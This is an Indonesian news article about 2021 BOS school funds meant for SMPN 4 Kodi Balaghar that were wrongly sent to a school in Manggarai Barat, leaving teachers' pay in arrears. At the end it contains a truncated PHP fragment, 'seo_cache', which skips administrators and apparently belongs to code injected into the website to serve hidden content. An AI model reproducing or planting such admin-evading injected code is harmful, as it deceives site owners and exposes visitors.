Pendidikan

Kepala SMPN 4 Kodi Balaghar Harap Dana BOS yang Nyasar ke Manggarai Barat Dikembalikan

×

Kepala SMPN 4 Kodi Balaghar Harap Dana BOS yang Nyasar ke Manggarai Barat Dikembalikan

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Kepala SMPN 4 Kodi Balaghar berharap Pemkab Manggarai Barat menyikapi persoalan dana BOS yang salah ditransfer pada salah satu sekolah di kabupaten itu

Permintaan ini disampaikan Kepala SMPN 4 Kodi Balaghar, Herman Jama Runda, S.Pd, Kamis (03/07/2025).

Seperti diketahui transfer dana BOS tahap 2 tahun 2021 untuk sekolah yang dipimpin Herman salah alamat dan nyasar ke SMPN 4 Lembor, Kabupaten Manggarai Barat.

Meski sudah ada upaya komunikasi, namun hingga kini dana tersebut masih mengendap di kas Pemkab Manggarai Barat.

“Saat itu setelah dikonfirmasi Pemkab Manggarai Barat sudah mengakui pula bahwa uangnya masuk ke sana,” ujar Herman.

Tetapi setelah itu, hingga saat ini tidak ada tindak lanjut pengembalian dana tersebut.

Berbagai upaya yang telah dilakukan, sebut Herman, menemui jalan buntu.

Bahkan sudah dikonsultasikan dan dilaporkan pula ke pihak kementerian, tetapi juga tidak berbuah hasil.

“Proses juga ke kementerian tetap, pernyataan kementerian sudah salurkan. Jadi kita buntu sudah waktu itu,” timpalnya.

Akibat salah transfer ini, pihaknya terbebani dengan berbagai opini miring karena ada anggapan dana tersebut disalahgunakan.

Salah satu dampak dari proses transfer dana BOS sejumlah 235 juta yang salah alamat ini, pembayaran honor guru untuk tahap 2 tahun 2021 jadi terganggu.

“Beruntung setelah kami jelaskan dengan baik, teman-teman guru bisa memahami keadaan ini,” imbuhnya.

Ia menduga kisruh itu bermula ketika ada perubahan nama sekolah yang semula SMP Satu Atap Panenggo Ede menjadi SMPN 4 Kodi Balaghar.

“Mungkin kementerian tidak cermati perubahan nama ini dan akhirnya dana BOS kami salah masuk ke SMPN 4 Lembor,” katanya lebih lanjut.

Herman berharap dengan mencuatnya persoalan ini, Pemkab Manggarai Barat bisa menindaklanjuti dan mengembalikan dana BOS tersebut.

“Sehingga kami juga bisa bayar tunggakan honor yang jadi hak para guru, serta keperluan belanja lain-lain sesuai juknis penggunaan dana BOS,” tandasnya. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>